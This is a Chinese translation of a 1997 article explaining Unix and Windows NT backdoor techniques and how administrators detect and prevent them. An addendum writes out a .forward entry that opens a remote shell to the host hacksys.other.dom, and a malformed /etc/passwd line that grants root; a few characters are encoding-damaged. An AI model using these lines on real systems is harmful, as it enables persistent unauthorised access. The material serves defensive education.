這是一篇很好的文章,以前曾讀過,但很匆忙。昨天靜下心來細細品味,頗有收獲。
由於水平所限,許多不確切的地方已經指出,希望你們不吝指教。還有,許多方法
理論上能夠明白,實際操作尚有距離,希望大家以後能熱烈討論。
後門 (Beta 1)
Christopher Klaus 8/4/97
譯者 iamtheguest
從早期的計算機入侵者開始,他們就努力發展能使自己重返被入侵系統的技術或後
門。本文將討論許多常見的後門及其檢測方法。更多的焦點放在Unix系統的後門,同時
討論一些未來將會出現的Windows NT的後門。本文將描述如何測定入侵者使用的方法
這樣的復雜內容和管理員如何防止入侵者重返的基礎知識。當管理員懂的一旦入侵者
入侵後要制止他們是何等之難以後, 將更主動於預防第一次入侵。本文試圖涉及大量
流行的初級和高級入侵者制作後門的手法, 但不會也不可能覆蓋到所有可能的方法。
大多數入侵者的後門實現以下二到三個目的:
即使管理員通過改變所有密碼類似的方法來提高安全性,仍然能再次侵入。使再
次侵入被發現的可能性減至最低。大多數後門設法躲過日志, 大多數情況下即使入侵者
正在使用系統也無法顯示他已在線。一些情況下, 如果入侵者認為管理員可能會檢測
到已經安裝的後門, 他們以系統的 脆弱性作為唯一的後門, 重而反復攻破機器。這也
不會引起管理員的注意。所以在 這樣的情況下,一台機器的脆弱性是它唯一未被注意
的後門。
密碼破解後門
這是入侵者使用的最早也是最老的方法, 它不僅可以獲得對Unix機器的訪問, 而且可
以通過破解密碼制造後門。這就是破解口令薄弱的帳號。以後即使管理員封了入侵者
的當前帳號,這些新的帳號仍然可能是重新侵入的後門。多數情況下, 入侵者尋找口令
薄弱的未使用帳號,然後將口令改的難些。當管理員尋找口令薄弱的帳號是, 也不會發
現這些密碼已修改的帳號。因而管理員很難確定查封哪個帳號。
Rhosts + + 後門
在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件裡的主機名使用簡
單的認證方法。用戶可以輕易的改變設置而不需口令就能進入。入侵者只要向可以訪
問的某用戶的rhosts文件中輸入"+ +", 就可以允許任何人從任何地方無須口令便能進
入這個帳號。特別當home目錄通過NFS向外共享時, 入侵者更熱中於此。這些帳號也成
了入侵者再次侵入的後門。許多人更喜歡使用Rsh, 因為它通常缺少日志能力。許多管
理員經常檢查 "+ +", 所以入侵者實際上多設置來自網上的另一個帳號的主機名和
用戶名,從而不易被發現。
校驗和及時間戳後門
早期,許多入侵者用自己的trojan程序替代二進制文件。系統管理員便依靠時間戳和系
統校驗和的程序辨別一個二進制文件是否已被改變, 如Unix裡的sum程序。入侵者又發
展了使trojan文件和原文件時間戳同步的新技術。它是這樣實現的: 先將系統時鐘撥
回到原文件時間, 然後調整trojan文件的時間為系統時間。一旦二進制trojan文件與
原來的精確同步, 就可以把系統時間設回當前時間。Sum程序是基於CRC校驗, 很容易
騙過。入侵者設計出了可以將trojan的校驗和調整到原文件的校驗和的程序。MD5是被
大多數人推薦的,MD5使用的算法目前還沒人能騙過。
Login後門
在Unix裡,login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login.c的
原代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門
口令,它將忽視管理員設置的口令讓你長驅直入。這將允許入侵者進入任何帳號,甚至
是root。由於後門口令是在用戶真實登錄並被日志記錄到utmp和wtmp前產生一個訪問
的, 所以入侵者可以登錄獲取shell卻不會暴露該帳號。管理員注意到這種後門後, 便
用"strings"命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。
入侵者就開始加密或者更好的隱藏口令, 使strings命令失效。所以更多的管理員是
用MD5校驗和檢測這種後門的。
Telnetd後門
當用戶telnet到系統, 監聽端口的inetd服務接受連接隨後遞給in.telnetd,由它運行
login。一些入侵者知道管理員會檢查login是否被修改, 就著手修改in.telnetd。
在in.telnetd內部有一些對用戶信息的檢驗, 比如用戶使用了何種終端。典型的終端
設置是Xterm或者VT100。入侵者可以做這樣的後門, 當終端設置為"letmein"時產生一
個不要任何驗證的shell。入侵者已對某些服務作了後門, 對來自特定源端口的連接產
生一個shell 。
服務後門
幾乎所有網絡服務曾被入侵者作過後門。Finger, rsh, rexec, rlogin, ftp, 甚至
inetd等等的作了的版本隨處多是。有的只是連接到某個TCP端口的shell,通過後門口
令就能獲取訪問。這些程序有時用刺娲□?Ucp這樣不用的服務,或者被加入inetd.conf
作為一個新的服務。管理員應該非常注意那些服務正在運行, 並用MD5對原服務程序做
校驗。
Cronjob後門
Unix上的Cronjob可以按時間表調度特定程序的運行。入侵者可以加入後門shell程序
使它在1AM到2AM之間運行,那麼每晚有一個小時可以獲得訪問。也可以查看cronjob中
經常運行的合法程序,同時置入後門。
庫後門
幾乎所有的UNIX系統使用共享庫。共享庫用於相同函數的重用而減少代碼長度。一些
入侵者在象crypt.c和_crypt.c這些函數裡作了後門。象login.c這樣的程序調用了
crypt(),當使用後門口令時產生一個shell。因此, 即使管理員用MD5檢查login程序,
仍然能產生一個後門函數。而且許多管理員並不會檢查庫是否被做了後門。對於許多入
侵者來說有一個問題: 一些管理員對所有東西多作了MD5校驗。有一種
辦法是入侵者對open()和文件訪問函數做後門。後門函數讀原文件但執行trojan後門
程序。所以 當MD5讀這些文件時,校驗和一切正常。但當系統運行時將執行trojan版本
的。即使trojan庫本身也可躲過
MD5校驗。對於管理員來說有一種方法可以找到後門, 就是靜態編連MD5校驗程序然後
運行。
靜態連接程序不會使用trojan共享庫。
內核後門
內核是Unix工作的核心。用於庫躲過MD5校驗的方法同樣適用於內核級別,甚至連靜態
連接多不能識別。一個後門作的很好的內核是最難被管理員查找的, 所幸的是內核的
後門程序還不是隨手可得, 每人知道它事實上傳播有多廣。
文件系統後門
入侵者需要在服務器上存儲他們的掠奪品或數據,並不能被管理員發現。入侵者的文章
常是包括exploit腳本工具,後門集,sniffer日志,email的備分,原代碼,等等。有時為
了防止管理員發現這麼大的文件, 入侵者需要修補"ls","du","fsck"以隱匿特定的目
錄和文件。在很低的級別, 入侵者做這樣的漏洞: 以專有的格式在硬盤上割出一部分,
且表示為壞的扇區。因此入侵者只能用特別的工具訪問這些隱藏的文件。對於普通的
管理員來說, 很難發現這些"壞扇區"裡的文件系統, 而它又確實存在。
Boot塊後門
在PC世界裡,許多病毒藏匿與根區, 而殺病毒軟件就是檢查根區是否被改變。Unix下,
多數管理員沒有檢查根區的軟件, 所以一些入侵者將一些後門留在根區。
隱匿進程後門
入侵者通常想隱匿他們運行的程序。這樣的程序一般是口令破解程序和監聽程序
(sniffer)。有許多辦法可以實現,這裡是較通用的: 編寫程序時修改自己的argv[]
使它看起來象其他進程名。可以將sniffer程序改名類似in.syslog再執行。因此
當管理員用"ps"檢查運行進程時, 出現 的是標准服務名。可以修改庫函數致使
"ps"不能顯示所有進程。可以將一個後門或程序嵌入中斷驅動程序使它不會在進程表
顯現。使用這個技術的一個後門
例子是amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
也可以修改內核隱匿進程。
Rootkit
最流行的後門安裝包之一是rootkit。它很容易用web搜索器找到。從Rootkit的README
裡,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog。
Es - rokstar's ethernet sniffer for sun4 based kernels。
Fix - try to fake checksums, install with same dates/perms/u/g。
Sl - become root via a magic password sent to login。
Ic - modified ifconfig to remove PROMISC flag from output。
ps: - hides the processes。
Ns - modified netstat to hide connections to certain machines。
Ls - hides certain directories and files from being listed。
du5 - hides how much space is being used on your hard drive。
ls5 - hides certain files and directories from being listed。
網絡通行後門
入侵者不僅想隱匿在系統裡的痕跡, 而且也要隱匿他們的網絡通行。這些網絡通行後
門有時允許入侵者通過防火牆進行訪問。有許多網絡後門程序允許入侵者建立某個端
口號並不用通過普通服務就能實現訪問。因為這是通過非標准網絡端口的通行, 管理
員可能忽視入侵者的足跡。這種後門通常使用TCP,UDP和ICMP, 但也可能是其他類型報
文。
TCP Shell 後門
入侵者可能在防火牆沒有阻塞的高位TCP端口建立這些TCP Shell後門。許多情況下,他
們用口令進行保護以免管理員連接上後立即看到是shell訪問。管理員可以用netstat
命令查看當前的連接狀態, 那些端口在偵聽, 目前連接的來龍去脈。通常這些後門可
以讓入侵者躲過TCP Wrapper技術。這些後門可以放在SMTP端口, 許多防火牆允許
e-mail通行的。
UDP Shell 後門
管理員經常注意TCP連接並觀察其怪異情況, 而UDP Shell後門沒有這樣的連接, 所以
netstat不能顯示入侵者的訪問痕跡。許多防火牆設置成允許類似DNS的UDP報文的通
行。通常入侵者將UDP Shell放置在這個端口, 允許穿越防火牆。
ICMP Shell 後門
Ping是通過發送和接受ICMP包檢測機器活動狀態的通用辦法之一。許多防火牆允許外
界ping它內部的機器。入侵者可以放數據入Ping的ICMP包, 在ping的機器間形成一個
shell通道。管理員也許會注意到Ping包暴風, 但除了他查看包內數據, 否者入侵者不
會暴露。
加密連接
管理員可能建立一個sniffer試圖某個訪問的數據, 但當入侵者給網絡通行後門加密
後,就不可能被判定兩台機器間的傳輸內容了。
Windows NT
由於Windows NT不能輕易的允許多個用戶象Unix下訪問一台機器, 對入侵者來說就很
難闖入Windows NT,安裝後門,並從那裡發起攻擊。因此你將更頻繁地看到廣泛的來自
Unix的網絡攻擊。當Windows NT提高多用戶技術後, 入侵者將更頻繁地利用
WindowsNT。如果這一天真的到來, 許多Unix的後門技術將移植到Windows NT上, 管理
員可以等候入侵者的到來。今天, Windows NT已經有了telnet守護程序。通過網絡通
行後門, 入侵者發現在Windows NT安裝它們是可行的。( With Network Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT。此
處該如何翻譯? :(
解決
當後門技術越先進, 管理員越難於判斷入侵者是否侵入後者他們是否被成功封殺。
評估
首先要做的是積極准確的估計你的網絡的脆弱性, 從而判定漏洞的存在且修復之。許多
商業工具用來幫助掃描和查核網絡及系統的漏洞。如果僅僅安裝提供商的安全補丁的
話,許多公司將大大提高安全性。
MD5基准線
一個系統(安全)掃描的一個重要因素是MD5校驗和基准線。MD5基准線是在黑客入侵前
由干淨
系統建立。一旦黑客入侵並建立了後門再建立基准線, 那麼後門也被合並進去了。一些
公司被入侵且系統被安置後門長達幾個月。所有的系統備份多包含了後門。當公司發現
有黑客並求助備份祛除後門時, 一切努力是徒勞的, 因為他們恢復系統的同時也恢復
了後門。應該在入侵發生前作好基准線的建立。
入侵檢測
隨著各種組織的上網和允許對自己某些機器的連接,入侵檢測正變的越來越重要。以前
多數入侵檢測技術是基於日志型的。最新的入侵檢測系統技術(IDS)是基於實時偵聽和
網絡通行安全分析的。最新的IDS技術可以浏覽DNS的UDP報文, 並判斷是否符合DNS協
議請求。如果數據不符合協議, 就發出警告信號並抓取數據進行進一步分析。同樣的
原則可以運用到ICMP包, 檢查數據是否符合協議要求, 或者是否裝載加密shell會話。
從CD-ROM啟動
一些管理員考慮從CD-ROM啟動從而消除了入侵者在CD-ROM上做後門的可能性。這種方法
的問題是實現的費用和時間夠企業面臨的。
警告
由於安全領域變化之快, 每天有新的漏洞被公布, 而入侵者正不斷設計新的攻擊和安
置後門技術, 安枕無憂的安全技術是沒有的。請記住沒有簡單的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute
for
diligent attention。此句該如何翻譯? :( )
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing commands into the .forward file was also
a common method of regaining access。For the account ``username''
a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases)。Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing)。
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
&nbs〉
the client and server)。
〉 Using smrsh can effectively negate this backdoor (although it's quite
〉 possibly still a problem if you allow things like elm's filter or
〉 procmail which can run programs themselves...)。
你也許要增加:
.forward後門
Unix下在.forward文件裡放入命令是重新獲得訪問的常用方法。帳戶'username'
的
.forward可能設置如下:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases)。注意這只
是一種簡單的變換。更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行
任意命令(小部分預處理後)。
〉利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或
procmail〉類程序, 很有可能還有問題 ......)
( 此段的內容理解不深, 故付上英文, 請指教! )
---------------------------------------------------------------------------
你也許能用這個"特性"做後門:
當在/etc/password裡指定一個錯誤的uid/gid後, 大多數login(1)的實現是不能檢查
出這個錯誤
的uid/gid, 而atoi(3)將設uid/gid為0, 便給了超級用戶的權利。
例子:
rmartin:x:x50:50:R。Martin:/home/rmartin:/bin/tcsh
在Linux裡,這將把用戶rmartin的uid設為0。
本文所有權歸作者所有!如要轉載請保持文章完整性
綠色兵團 http://I.am/hack1/
——摘自:綠色兵團